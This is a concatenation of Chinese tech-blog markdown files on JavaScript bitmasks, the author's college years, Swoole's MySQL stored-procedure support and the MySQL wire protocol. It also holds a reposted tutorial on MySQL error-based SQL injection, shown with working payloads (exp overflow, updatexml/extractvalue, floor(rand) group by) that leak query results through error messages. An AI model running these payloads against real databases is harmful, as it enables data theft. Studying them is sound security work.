1 的位可以设置对应的位。例如掩码 1100 可用来设置位 C 和 D:(**核心就是将某位变为1** ) 68 | 69 | ```javascript 70 | // 我们有 Cherry 和 Dew 71 | var mask = FLAG_C | FLAG_D; // 0100 | 1000 => 1100 72 | flags |= mask; // 0101 | 1100 => 1101 73 | ``` 74 | 75 | 可以通过与掩码做与运算清除标志位,掩码中为 0 的位可以设置对应的位。掩码可以通过对原语掩码做非运算得到。例如,掩码 1010 可以用来清除标志位 A 和 C :(**核心就是将某位变为0**) 76 | 77 | ```javascript 78 | // 我们没有 Apple 也没有 Cherry 79 | var mask = ~(FLAG_A | FLAG_C); // ~0101 => 1010 80 | flags &= mask; // 1101 & 1010 => 1000 81 | ``` 82 | 83 | 如上的掩码同样可以通过 ~FLAG_A & ~FLAG_C 得到(德摩根定律): 84 | 85 | ```javascript 86 | // 我们没有 Apple 也没有 Cherry 87 | var mask = ~FLAG_A & ~FLAG_C; 88 | flags &= mask; // 1101 & 1010 => 1000 89 | ``` 90 | 91 | 标志位可以使用异或运算切换。所有值为 1 的为可以切换对应的位。例如,掩码 0110 可以用来切换标志位 B 和 C:(**核心就是将某位取反**) 92 | 93 | ```javascript 94 | // 如果我们以前没有 Banana ,那么我们现在有 Banana 95 | // 但是如果我们已经有了一个,那么现在没有了 96 | // 对 Cherry 也是相同的情况 97 | var mask = FLAG_B | FLAG_C; 98 | flags = flags ^ mask; // 1100 ^ 0110 => 1010 99 | ``` 100 | 101 | 最后,所有标志位可以通过非运算翻转: 102 | 103 | ```javascript 104 | // entering parallel universe... 105 | flags = ~flags; // ~1010 => 0101 106 | ``` -------------------------------------------------------------------------------- /_/my-college-life.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "9102记我刚刚结束的平平无奇的大学生活" 3 | date: 2019-06-28 18:06:06 4 | tags: [大学] 5 | --- 6 | 7 | 大学四年,出于兴趣和热爱,我大概经历了以下这些事情: 8 | 9 | 知乎带图链接:https://zhuanlan.zhihu.com/p/71304826 10 | 11 | 12 | 13 | #### 2015年 14 | 15 | + 高考后成为外卖小哥,迷茫等待大学生涯 16 | + 由于在入学某特长调研时如实填写了「毛笔字九级」和「漫画八级」,被诱拐进了学生会美术宣传部 17 | 18 | #### 2016年 19 | 20 | + 自学PS,成为了学院御用P图汪,承包了一年内学院所有的海报、公众号图片、GIF动画和活动PPT的制作 21 | + 觉得做设计并不是自己的出路并持续怀疑人生… 22 | 23 | #### 2016年10月 24 | 25 | + 着手编写微信机器人(Custed雏形姬),支持图灵聊天,网费充值,成绩查询,作业参考,网络报修,教务抢课,四六级代报代打印 26 | 27 | #### 2016年末 28 | 29 | + 黑掉了校园一卡通充值系统(免登陆任意充值漏洞),前往学校信息化中心报告,并籍此向老师和领导展示了我自认为牛逼哄哄的校园信息化计划草案,并立志从此招兵买马,实现我的创想 30 | + 开始自学PHP/JS,并花一周时间重写了机器人,实现了Web版的[Custed](https://m.cust.edu.cn)的雏形 31 | 32 | #### 2016年12月 33 | 34 | + 短暂转型B站UP主,首次(也是最后一次)自制[AMV](https://www.bilibili.com/video/av7495849),单日人气上动画分区TOP1 (当时B站流量没现在这么高啊) 35 | 36 | #### 2017年3月 37 | 38 | + 新学期万事俱备,APP上线公测,自制九图在本人的QQ空间进行了初步宣传获得3000点赞 39 | + 自制海报奔走于三个校区张贴,宣传APP和招募成员 40 | 41 | #### 2017年4月 42 | 43 | + [吐司工作室](https://blog.tusi.site)成员招募成功并正式成立,开展会议成立小部门 44 | + 工作室提早在校内封锁了勒索病毒相关端口,病毒在中国爆发后,长春理工大学未出现任何一例感染 45 | 46 | #### 2017年5~6月 47 | 48 | + 组织了[校园一卡通大赛](https://m.cust.edu.cn/ed.cc)和相关周边活动,由学生自主设计的最佳校园卡将在下一届投入使用 49 | 50 | #### 2017年9月 51 | 52 | + 新版[Custed](https://app.cust.edu.cn)雏形,[技术架构升级](https://ww1.sinaimg.cn/large/006DQdzWly1fn84iqbisvj30wo0oyacu.jpg)。 53 | 54 | #### 2017年10月 55 | 56 | + QQ客服机器人吐司喵(Rocat)上线,智能应答学生群中的问题及提供服务器监控报警、组织消息群发、开会OTP签到等功能,至今仍在稳定运行 57 | 58 | #### 2017年下半年 59 | 60 | - 开始接触并实践Linux下的运维操作,使用Docker部署服务和Docker-Compose编排服务,初步学习异步网络编程相关知识 61 | - 入门Python并写了一些图片爬虫和学校题库数据整理脚本,用于题库APP方便学生背题 62 | - 使用Python+Flask-SocketIO+requests写了一个基于WebSocket的QQ空间自动点赞机器人服务 63 | 64 | #### 2017年12月 65 | 66 | + 全国高校安全挑战赛决赛东北区第六 67 | 68 | #### 2018年前半年 69 | 70 | + 学校领导采购smart-bi系统时,当场黑入对方公司系统后台,后提交漏洞盒子获高危评分 71 | + 参加某全国大赛时和工作室小伙伴通过后台验证、文件上传漏洞、tty反射、Linux脏牛漏洞拿到了其服务器root权限,后上报修复 72 | 73 | #### 2018年3月 74 | 75 | + 尝试入门C语言并开始学习Linux下的高性能网络编程 76 | 77 | #### 2018年4月 78 | 79 | + 创建[Swlib](https://github.com/swlib)(Swoole人性化组件库)和后来社区的流行项目[Saber](https://github.com/swlib/saber) 80 | + 对社区知名开源项目[Swoft](https://github.com/swoft-cloud/swoft)和[EasySwoole](https://github.com/easy-swoole/easyswoole)贡献代码 81 | 82 | #### 2018年5月 83 | 84 | + 成为[Swoole](https://github.com/swoole/swoole-src)的Contributor 85 | 86 | #### 2018年6月 87 | 88 | + 优化代码,助力Swoole登上全球权威的Web项目性能跑分排行榜([TechEmpower](https://www.techempower.com/benchmarks/#section=data-r17&hw=ph&test=fortune))第四,MySQL项第一 89 | 90 | #### 2018年7月 91 | 92 | + 受邀成为[Swoole](https://github.com/swoole/swoole-src)开发组成员 93 | 94 | + 受邀在[上海识沃网络科技有限公司](http://www.swoole-cloud.com/)实习,开源事业为主,参与了商业项目的一些边角工作 95 | 96 | #### 2018年10月 97 | 98 | + 成为[PHP](https://github.com/php/php-src)的Contributor,多次修复ZendVM的BUG和做出一些优化 99 | + 发布基于Swoole协程编写的的[Grpc/Etcd](https://github.com/swoole/grpc)客户端 100 | 101 | #### 2018年末~2019年初 102 | 103 | + 对[Swoole](https://github.com/swoole/swoole-src)整体进行了大量优化及重构,推进了协程特性的发展,遂成为项目Owner之一 104 | 105 | #### 2019年4月 106 | 107 | + 进入[北京好未来学而思](https://www.100tal.com/)实习,并就Swoole进行了一系列技术分享 108 | 109 | #### 2019年6月 110 | 111 | + 回校,体验珍惜也枉然,不出意外的离别,然后离别 112 | 113 | -------------------------------------------------------------------------------- /_/mysql-injection.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "[转] Mysql注入后利用" 3 | date: 2018-01-06 01:33:18 4 | tags: [mysql,sql,injection] 5 | --- 6 | 7 | SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用,毕竟用盲注的话既耗时又容易被封。 8 | 9 | MYSQL报错注入个人认为大体可以分为以下几类: 10 | 11 | 1. BIGINT等数据类型溢出 12 | 2. xpath语法错误 13 | 3. concat+rand()+group_by()导致主键重复 14 | 4. 一些特性 15 | 16 | 下面就针对这几种错误类型看看背后的原理是怎样的。 17 | 18 | 19 | 20 | ## 0x01 数据溢出 21 | 22 | 这里可以看到mysql是怎么处理整形的:[Integer Types (Exact Value)](https://dev.mysql.com/doc/refman/5.5/en/integer-types.html),如下表: 23 | 24 | | Type | Storage | Minimum Value | Maximum Value | 25 | | --------- | ------- | -------------------- | -------------------- | 26 | | | (Bytes) | (Signed/Unsigned) | (Signed/Unsigned) | 27 | | TINYINT | 1 | -128 | 127 | 28 | | | | 0 | 255 | 29 | | SMALLINT | 2 | -32768 | 32767 | 30 | | | | 0 | 65535 | 31 | | MEDIUMINT | 3 | -8388608 | 8388607 | 32 | | | | 0 | 16777215 | 33 | | INT | 4 | -2147483648 | 2147483647 | 34 | | | | 0 | 4294967295 | 35 | | BIGINT | 8 | -9223372036854775808 | 9223372036854775807 | 36 | | | | 0 | 18446744073709551615 | 37 | 38 | 在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明[out-of-range-and-overflow](https://dev.mysql.com/doc/refman/5.5/en/out-of-range-and-overflow.html),只有版本号大于5.5.5时,才会报错。试着对最大数做加法运算,可以看到报错的具体情况: 39 | 40 | ```Bash 41 | mysql> select 18446744073709551615+1; 42 | ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)' 43 | ``` 44 | 45 | 在mysql中,要使用这么大的数,并不需要输入这么长的数字进去,使用按位取反运算运算即可: 46 | 47 | ```Mysql 48 | mysql> select ~0; 49 | +----------------------+ 50 | | ~0 | 51 | +----------------------+ 52 | | 18446744073709551615 | 53 | +----------------------+ 54 | 1 row in set (0.00 sec) 55 | 56 | mysql> select ~0+1; 57 | ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)' 58 | ``` 59 | 60 | 我们知道,如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的: 61 | 62 | ```Mysql 63 | mysql> select (select * from (select user())x); 64 | +----------------------------------+ 65 | | (select * from (select user())x) | 66 | +----------------------------------+ 67 | | root@localhost | 68 | +----------------------------------+ 69 | 1 row in set (0.00 sec) 70 | 71 | mysql> select !(select * from (select user())x); 72 | +-----------------------------------+ 73 | | !(select * from (select user())x) | 74 | +-----------------------------------+ 75 | | 1 | 76 | +-----------------------------------+ 77 | 1 row in set (0.01 sec) 78 | 79 | mysql> select !(select * from (select user())x)+1; 80 | +-------------------------------------+ 81 | | !(select * from (select user())x)+1 | 82 | +-------------------------------------+ 83 | | 2 | 84 | +-------------------------------------+ 85 | 1 row in set (0.00 sec) 86 | ``` 87 | 88 | 同理,利用exp函数也会产生类似的溢出错误: 89 | 90 | ```Mysql 91 | mysql> select exp(709); 92 | +-----------------------+ 93 | | exp(709) | 94 | +-----------------------+ 95 | | 8.218407461554972e307 | 96 | +-----------------------+ 97 | 1 row in set (0.00 sec) 98 | 99 | mysql> select exp(710); 100 | ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)' 101 | ``` 102 | 103 | 注入姿势: 104 | 105 | ```Mysql 106 | mysql> select exp(~(select*from(select user())x)); 107 | ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 108 | ``` 109 | 110 | 利用这一特性,再结合之前说的溢出报错,就可以进行注入了。这里需要说一下,经笔者测试,发现在mysql5.5.47可以在报错中返回查询结果: 111 | 112 | ```Mysql 113 | mysql> select (select(!x-~0)from(select(select user())x)a); 114 | ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))' 115 | ``` 116 | 117 | 而在mysql>5.5.53时,则不能返回查询结果 118 | 119 | ```Mysql 120 | mysql> select (select(!x-~0)from(select(select user())x)a); 121 | ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(`a`.`x`)) - ~(0))' 122 | ``` 123 | 124 | 此外,报错信息是有长度限制的,在mysql/my_error.c中可以看到: 125 | 126 | ```Mysql 127 | /* Max length of a error message. Should be 128 | kept in sync with MYSQL_ERRMSG_SIZE. */ 129 | 130 | #define ERRMSGSIZE (512) 131 | ``` 132 | 133 | ## 0x02 xpath语法错误 134 | 135 | 从mysql5.1.5开始提供两个[XML查询和修改的函数](https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html),extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容: 136 | 137 | ```Mysql 138 | mysql> select extractvalue(1,'/a/b'); 139 | +------------------------+ 140 | | extractvalue(1,'/a/b') | 141 | +------------------------+ 142 | | | 143 | +------------------------+ 144 | 1 row in set (0.01 sec) 145 | ``` 146 | 147 | 它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里: 148 | 149 | ```Mysql 150 | mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1); 151 | ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~' 152 | mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e)); 153 | ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~' 154 | ``` 155 | 156 | ## 0x03 主键重复 157 | 158 | 这里利用到了count()和group by在遇到rand()产生的重复值时报错的思路。网上比较常见的payload是这样的: 159 | 160 | ```Mysql 161 | mysql> select count(*) from test group by concat(version(),floor(rand(0)*2)); 162 | ERROR 1062 (23000): Duplicate entry '5.7.171' for key '' 163 | ``` 164 | 165 | 可以看到错误类型是duplicate entry,即主键重复。实际上只要是count,rand(),group by三个连用就会造成这种报错,与位置无关: 166 | 167 | ```mysql 168 | mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x; 169 | ERROR 1062 (23000): Duplicate entry '5.7.171' for key '' 170 | ``` 171 | 172 | 这种报错方法的本质是因为`floor(rand(0)*2)`的重复性,导致group by语句出错。`group by key`的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。举个例子,表中数据如下: 173 | 174 | ```mysql 175 | mysql> select * from test; 176 | +------+-------+ 177 | | id | name | 178 | +------+-------+ 179 | | 0 | jack | 180 | | 1 | jack | 181 | | 2 | tom | 182 | | 3 | candy | 183 | | 4 | tommy | 184 | | 5 | jerry | 185 | +------+-------+ 186 | 6 rows in set (0.00 sec) 187 | ``` 188 | 189 | 我们以`select count(*) from test group by name`语句说明大致过程如下: 190 | 191 | - 先是建立虚拟表,其中key为主键,不可重复: 192 | 193 | | key | count(*) | 194 | | ---- | -------- | 195 | | | | 196 | 197 | - 开始查询数据,去数据库数据,然后查看虚拟表是否存在,不存在则插入新记录,存在则count(*)字段直接加1: 198 | 199 | | key | count(*) | 200 | | ---- | -------- | 201 | | jack | 1 | 202 | 203 | | key | count(*) | 204 | | ---- | -------- | 205 | | jack | 1+1 | 206 | 207 | | key | count(*) | 208 | | ---- | -------- | 209 | | jack | 1+1 | 210 | | tom | 1 | 211 | 212 | | key | count(*) | 213 | | ----- | -------- | 214 | | jack | 1+1 | 215 | | tom | 1 | 216 | | candy | 1 | 217 | 218 | 当这个操作遇到rand(0)*2时,就会发生错误,其原因在于rand(0)是个稳定的序列,我们计算两次rand(0): 219 | 220 | ```mysql 221 | mysql> select rand(0) from test; 222 | +---------------------+ 223 | | rand(0) | 224 | +---------------------+ 225 | | 0.15522042769493574 | 226 | | 0.620881741513388 | 227 | | 0.6387474552157777 | 228 | | 0.33109208227236947 | 229 | | 0.7392180764481594 | 230 | | 0.7028141661573334 | 231 | +---------------------+ 232 | 6 rows in set (0.00 sec) 233 | 234 | mysql> select rand(0) from test; 235 | +---------------------+ 236 | | rand(0) | 237 | +---------------------+ 238 | | 0.15522042769493574 | 239 | | 0.620881741513388 | 240 | | 0.6387474552157777 | 241 | | 0.33109208227236947 | 242 | | 0.7392180764481594 | 243 | | 0.7028141661573334 | 244 | +---------------------+ 245 | 6 rows in set (0.00 sec) 246 | ``` 247 | 248 | 同理,floor(rand(0)*2)则会固定得到011011...的序列(这个很重要): 249 | 250 | ```mysql 251 | mysql> select floor(rand(0)*2) from test; 252 | +------------------+ 253 | | floor(rand(0)*2) | 254 | +----------- 255 | ``` -------------------------------------------------------------------------------- /_/mysql-procedure-implementation-in-swoole.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "在Swoole中实现MySQL存储过程" 3 | date: 2018-07-16 23:59:58 4 | tags: [swoole, mysql] 5 | --- 6 | 7 | 大概是在一个月前了...那时候刚开始给swoole contribute代码, 初生牛犊, 修了不少小bug, 最后某位仁兄贴了个issue说swoole的mysql-client搞不掂存储过程, 当时我想想, 存储过程这东西实在没什么用, 甚至在很多大公司开发手册上是禁止使用的(某里粑粑), 具体的 [**为什么不要使用存储过程**](https://www.zhihu.com/question/57545650) 戳这里, 但是考虑到一个作为一个底层扩展, 各种用户都有, rango就给我分配了这个任务, 于是我就马上进行了一番研究. 8 | 9 | 10 | 11 | 其实内容当时在PR里都贴了, https://github.com/swoole/swoole-src/pull/1688, 现在在博客补个票 12 | 13 | 14 | 15 | 完整的MySQL存储过程支持 16 | 17 | ------ 18 | 19 | 做了以下几件事: 20 | 21 | ## fetch mode 22 | 23 | 一开始先想着和PDO一样给Swoole做一个fetch模式 24 | 25 | ```php 26 | ['fetch_mode' => true] //连接配置里加入这个 27 | ``` 28 | 29 | ```php 30 | $stmt = $db->prepare('SELECT `id` FROM `userinfo` LIMIT 2'); 31 | $stmt->execute(); // true = success 32 | $stmt->fetch(); // result-set array 1 33 | $stmt->fetch(); // result-set array 2 34 | ``` 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | ## 分离client和statement 43 | 44 | 加了一个 `MYSQL_RESPONSE_BUFFER` 宏, 处理了一些代码分离了client和statement的buffer 45 | 46 | 并给statement结构上也挂了一个result的zval指针 47 | 48 | ```C 49 | typedef struct 50 | { 51 | ... 52 | swString *buffer; /* save the mysql multi responses data */ 53 | zval *result; /* save the zval array result */ 54 | } mysql_statement; 55 | ``` 56 | 57 | 这样就可以实现以下代码: 58 | 59 | ```php 60 | $stmt1 = $db->prepare('SELECT * FROM ckl LIMIT 1'); 61 | $stmt1->execute(); 62 | $stmt2 = $db->prepare('SELECT * FROM ckl LIMIT 2'); 63 | $stmt2->execute(); 64 | $stmt1->fetchAll(); 65 | $stmt2->fetchAll(); 66 | ``` 67 | 68 | 因为现在result是挂在statement上的, 和client分离干净, 就不会因为这样的写法产生错误 69 | 70 | 当然这并没有多大用, **主要还是为了后面处理多响应多结果集** 71 | 72 | 73 | 74 | ## 分离mysql_parse_response 75 | 76 | 这样就就可以在除了`onRead`回调之外的别的地方复用这个方法, 处理多结果集了 77 | 78 | 79 | 80 | ## 存储过程 81 | 82 | 存储过程会返回多个响应, 如果和swoole之前的设计一样, 一次性全返回是不太现实的 83 | 84 | PDO和MySQLi的设计都是用一个 next 方法来切换到下一个响应 85 | 86 | 刚开始是想做一个链表存储多个响应, 很快就发现并不需要 87 | 88 | 所以首先做了一个 [`mysql_is_over`](https://github.com/twose/swoole-src/blob/13ff4ff8ac2723649f05b69f337f49557cf74546/swoole_mysql.c#L1478)方法 89 | 90 | 它用来**校验MySQL包的完整性**, 这是swoole以前没有的, 所以在之前的PR后虽然可以使用存储过程, 但是并不能每次都收到完整的响应包, 第一次没收到的包会被丢弃 91 | 92 | 然后说一下几个注意点 93 | 94 | 1. MySQL协议决定了并不能倒着检查status flag, 我们必须把每个包的包头都扫描一遍, 通过package length快速扫描到最后一个已接收的包体, 这里只是每次只是检查每个包前几个字节, 消耗不大 95 | 2. MySQL其它包体中的 `MYSQL_SERVER_MORE_RESULTS_EXISTS` 的标志位并不准确, 不可采信, 只有`eof`和`ok`包中的是准确的 (这里一定要注意) 96 | 3. 在存储过程中执行一个耗时操作的话, recv一次性收不完, 而且会等很久, 这时候需要return等下一次onRead触发(之前的代码里是continue阻塞), 这就不得不在client上加一个check_offset来保存上次完整性校验的位置, 从上个位置开始继续校验后续的MySQL包是否完整, 节省时间 97 | 4. 存储过程中遇到错误(error响应)就可以直接终止接收了 98 | 5. 在PHP7的zval使用上踩了点坑, 现在理解了, 幸好有鸟哥的文章[zval](https://github.com/laruence/php7-internal/blob/master/zval.md)给我解惑.. 99 | 100 | **校验包的完整性直到所有数据接收完毕** 101 | 102 | (分离了client和statement后, execute获取的数据是被存在`statement->buffer`里而不是`client->buffer`) 103 | 104 | **这时候onRead中只会解析第一个响应的结果, 并置到statement对象上, 而剩下的数据仍在buffer中, 并等待nextResult来推动offset解析下一个, 可以说是懒解析了, 有时候会比一次性解析所有响应划算, 而且我们可以清楚的知道每一次nextResult切换前后, 对应的affected_rows和insert_id的值(如果一次性读完, 只能知道最后的)** 105 | 106 | 最后效果就是以下代码 107 | 108 | ```php 109 | $stmt = $db->prepare('CALL reply(?)'); 110 | $stmt->execute(['hello mysql!']); // true 111 | do { 112 | $res = $stmt->fetchAll(); 113 | var_dump($res); 114 | } while ($stmt->nextResult()); 115 | ``` 116 | 117 | 非fetch_mode模式下这么写 118 | 119 | ```php 120 | $stmt = $db->prepare('CALL reply(?)'); 121 | $res = $stmt->execute(['hello mysql!']); // the first result 122 | do { 123 | var_dump($res); 124 | } while ($res = $stmt->nextResult()); 125 | ``` 126 | 127 | 比较巧妙的是nextResult推到最后一个response_ok包的时候会返回null, while循环终止, 我们就可以在循环后读取ok包的affected_rows, 如果最后存储过程最后一个语句是insert成功, 这里会显示1 128 | 129 | ```php 130 | var_dump($stmt->affected_rows); //1 131 | ``` 132 | 133 | 134 | 135 | 最近忙起来真的是很少时间能写文章了, 慢慢补吧. -------------------------------------------------------------------------------- /_/mysql-protocol.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "[整理] MySQL协议分析" 3 | date: 2018-05-15 16:05:26 4 | tags: [mysql] 5 | --- 6 | 7 | ## 目录 8 | 9 | [TOC] 10 | 11 | ## 1 交互过程 12 | 13 | MySQL客户端与服务器的交互主要分为两个阶段:握手认证阶段和命令执行阶段。 14 | 15 | ### 1.1 握手认证阶段 16 | 17 | 握手认证阶段为客户端与服务器建立连接后进行,交互过程如下: 18 | 19 | - 服务器 -> 客户端:握手初始化消息 20 | - 客户端 -> 服务器:登陆认证消息 21 | - 服务器 -> 客户端:认证结果消息 22 | 23 | ### 1.2 命令执行阶段 24 | 25 | 客户端认证成功后,会进入命令执行阶段,交互过程如下: 26 | 27 | - 客户端 -> 服务器:执行命令消息 28 | - 服务器 -> 客户端:命令执行结果 29 | 30 | 31 | 32 | **MySQL客户端与服务器的完整交互过程如下**: 33 | 34 | ![](https://ws1.sinaimg.cn/large/006DQdzWly1fsb7y00rsyj30cc0ddwew.jpg) 35 | 36 | ## 2 基本类型 37 | 38 | ### 2.1 整型值 39 | 40 | MySQL报文中整型值分别有1、2、3、4、8字节长度,使用小字节序传输。 41 | 42 | ### 2.2 字符串(以NULL结尾)(Null-Terminated String) 43 | 44 | 字符串长度不固定,当遇到'NULL'(0x00)字符时结束。 45 | 46 | ### 2.3 二进制数据(长度编码)(Length Coded Binary) 47 | 48 | 数据长度不固定,长度值由数据前的1-9个字节决定,其中长度值所占的字节数不定,字节数由第1个字节决定,如下表: 49 | 50 | | 第一个字节值 | 后续字节数 | 长度值说明 | 51 | | ------------ | ---------- | ----------------------------------- | 52 | | 0-250 | 0 | 第一个字节值即为数据的真实长度 | 53 | | 251 | 0 | 空数据,数据的真实长度为零 | 54 | | 252 | 2 | 后续额外2个字节标识了数据的真实长度 | 55 | | 253 | 3 | 后续额外3个字节标识了数据的真实长度 | 56 | | 254 | 8 | 后续额外8个字节标识了数据的真实长度 | 57 | 58 | ### 2.4 字符串(长度编码)(Length Coded String) 59 | 60 | 字符串长度不固定,无'NULL'(0x00)结束符,编码方式与上面的 Length Coded Binary 相同。 61 | 62 | ## 3 报文结构 63 | 64 | 报文分为消息头和消息体两部分,其中消息头占用固定的4个字节,消息体长度由消息头中的长度字段决定,报文结构如下: 65 | 66 | ![MySQL报文结构](http://hutaow.com/images/articles/201311/mysql_protocol_struct.png) 67 | 68 | ### 3.1 消息头 69 | 70 | #### 3.1.1 报文长度 71 | 72 | 用于标记当前请求消息的实际数据长度值,以字节为单位,占用3个字节,最大值为 0xFFFFFF,即接近 16 MB 大小(比16MB少1个字节)。 73 | 74 | #### 3.1.2 序号 75 | 76 | 在一次完整的请求/响应交互过程中,用于保证消息顺序的正确,每次客户端发起请求时,序号值都会从0开始计算。 77 | 78 | ### 3.2 消息体 79 | 80 | 消息体用于存放请求的内容及响应的数据,长度由消息头中的长度值决定。 81 | 82 | ## 4 报文类型 83 | 84 | ### 4.1 登陆认证交互报文 85 | 86 | #### 4.1.1 握手初始化报文(服务器 -> 客户端) 87 | 88 | ![MySQL握手初始化报文](http://hutaow.com/images/articles/201311/mysql_protocol_handshake.png) 89 | 90 | **服务协议版本号**:该值由 PROTOCOL_VERSION 宏定义决定(参考MySQL源代码`/include/mysql_version.h`头文件定义) 91 | 92 | **服务版本信息**:该值为字符串,由 MYSQL_SERVER_VERSION 宏定义决定(参考MySQL源代码`/include/mysql_version.h`头文件定义) 93 | 94 | **服务器线程ID**:服务器为当前连接所创建的线程ID。 95 | 96 | **挑战随机数**:MySQL数据库用户认证采用的是挑战/应答的方式,服务器生成该挑战数并发送给客户端,由客户端进行处理并返回相应结果,然后服务器检查是否与预期的结果相同,从而完成用户认证的过程。 97 | 98 | **服务器权能标志**:用于与客户端协商通讯方式,各标志位含义如下(参考MySQL源代码`/include/mysql_com.h`中的宏定义): 99 | 100 | | 标志位名称 | 标志位 | 说明 | 101 | | ------------------------ | ----------- | ---------------------------------- | 102 | | CLIENT_LONG_PASSWORD | 0x0001 | new more secure passwords | 103 | | CLIENT_FOUND_ROWS | 0x0002 | Found instead of affected rows | 104 | | CLIENT_LONG_FLAG | 0x0004 | Get all column flags | 105 | | CLIENT_CONNECT_WITH_DB | 0x0008 | One can specify db on connect | 106 | | CLIENT_NO_SCHEMA | 0x0010 | Do not allow database.table.column | 107 | | CLIENT_COMPRESS | 0x0020 | Can use compression protocol | 108 | | CLIENT_ODBC | 0x0040 | Odbc client | 109 | | CLIENT_LOCAL_FILES | 0x0080 | Can use LOAD DATA LOCAL | 110 | | CLIENT_IGNORE_SPACE | 0x0100 | Ignore spaces before '(' | 111 | | CLIENT_PROTOCOL_41 | 0x0200 | New 4.1 protocol | 112 | | CLIENT_INTERACTIVE | 0x0400 | This is an interactive client | 113 | | CLIENT_SSL | 0x0800 | Switch to SSL after handshake | 114 | | CLIENT_IGNORE_SIGPIPE | 0x1000 | IGNORE sigpipes | 115 | | CLIENT_TRANSACTIONS | 0x2000 | Client knows about transactions | 116 | | CLIENT_RESERVED | 0x4000 | Old flag for 4.1 protocol | 117 | | CLIENT_SECURE_CONNECTION | 0x8000 | New 4.1 authentication | 118 | | CLIENT_MULTI_STATEMENTS | 0x0001 0000 | Enable/disable multi-stmt support | 119 | | CLIENT_MULTI_RESULTS | 0x0002 0000 | Enable/disable multi-results | 120 | 121 | **字符编码**:标识服务器所使用的字符集。 122 | 123 | **服务器状态**:状态值定义如下(参考MySQL源代码`/include/mysql_com.h`中的宏定义): 124 | 125 | | 状态名称 | 状态值 | 126 | | ---------------------------------- | ------ | 127 | | SERVER_STATUS_IN_TRANS | 0x0001 | 128 | | SERVER_STATUS_AUTOCOMMIT | 0x0002 | 129 | | SERVER_STATUS_CURSOR_EXISTS | 0x0040 | 130 | | SERVER_STATUS_LAST_ROW_SENT | 0x0080 | 131 | | SERVER_STATUS_DB_DROPPED | 0x0100 | 132 | | SERVER_STATUS_NO_BACKSLASH_ESCAPES | 0x0200 | 133 | | SERVER_STATUS_METADATA_CHANGED | 0x0400 | 134 | 135 | #### 4.1.2 登陆认证报文(客户端 -> 服务器) 136 | 137 | **MySQL 4.0 及之前的版本** 138 | 139 | ![MySQL登陆认证报文(4.0及之前的版本)](http://hutaow.com/images/articles/201311/mysql_protocol_auth_40.png) 140 | 141 | **MySQL 4.1 及之后的版本** 142 | 143 | ![MySQL登陆认证报文(4.1及之后的版本)](http://hutaow.com/images/articles/201311/mysql_protocol_auth_41.png) 144 | 145 | **客户端权能标志**:用于与客户端协商通讯方式,标志位含义与握手初始化报文中的相同。客户端收到服务器发来的初始化报文后,会对服务器发送的权能标志进行修改,保留自身所支持的功能,然后将权能标返回给服务器,从而保证服务器与客户端通讯的兼容性。 146 | 147 | **最大消息长度**:客户端发送请求报文时所支持的最大消息长度值。 148 | 149 | **字符编码**:标识通讯过程中使用的字符编码,与服务器在认证初始化报文中发送的相同。 150 | 151 | **用户名**:客户端登陆用户的用户名称。 152 | 153 | **挑战认证数据**:客户端用户密码使用服务器发送的挑战随机数进行加密后,生成挑战认证数据,然后返回给服务器,用于对用户身份的认证。 154 | 155 | **数据库名称**:当客户端的权能标志位 CLIENT_CONNECT_WITH_DB 被置位时,该字段必须出现。 156 | 157 | ### 4.2 客户端命令请求报文(客户端 -> 服务器) 158 | 159 | ![MySQL客户端命令请求报文](http://hutaow.com/images/articles/201311/mysql_protocol_command.png) 160 | 161 | **命令**:用于标识当前请求消息的类型,例如切换数据库(0x02)、查询命令(0x03)等。命令值的取值范围及说明如下表(参考MySQL源代码`/include/mysql_com.h`头文件中的定义): 162 | 163 | | 类型值 | 命令 | 功能 | 关联函数 | 164 | | ------ | ----------------------- | -------------------------- | ------------------------- | 165 | | 0x00 | COM_SLEEP | (内部线程状态) | (无) | 166 | | 0x01 | COM_QUIT | 关闭连接 | mysql_close | 167 | | 0x02 | COM_INIT_DB | 切换数据库 | mysql_select_db | 168 | | 0x03 | COM_QUERY | SQL查询请求 | mysql_real_query | 169 | | 0x04 | COM_FIELD_LIST | 获取数据表字段信息 | mysql_list_fields | 170 | | 0x05 | COM_CREATE_DB | 创建数据库 | mysql_create_db | 171 | | 0x06 | COM_DROP_DB | 删除数据库 | mysql_drop_db | 172 | | 0x07 | COM_REFRESH | 清除缓存 | mysql_refresh | 173 | | 0x08 | COM_SHUTDOWN | 停止服务器 | mysql_shutdown | 174 | | 0x09 | COM_STATISTICS | 获取服务器统计信息 | mysql_stat | 175 | | 0x0A | COM_PROCESS_INFO | 获取当前连接的列表 | mysql_list_processes | 176 | | 0x0B | COM_CONNECT | (内部线程状态) | (无) | 177 | | 0x0C | COM_PROCESS_KILL | 中断某个连接 | mysql_kill | 178 | | 0x0D | COM_DEBUG | 保存服务器调试信息 | mysql_dump_debug_info | 179 | | 0x0E | COM_PING | 测试连通性 | mysql_ping | 180 | | 0x0F | 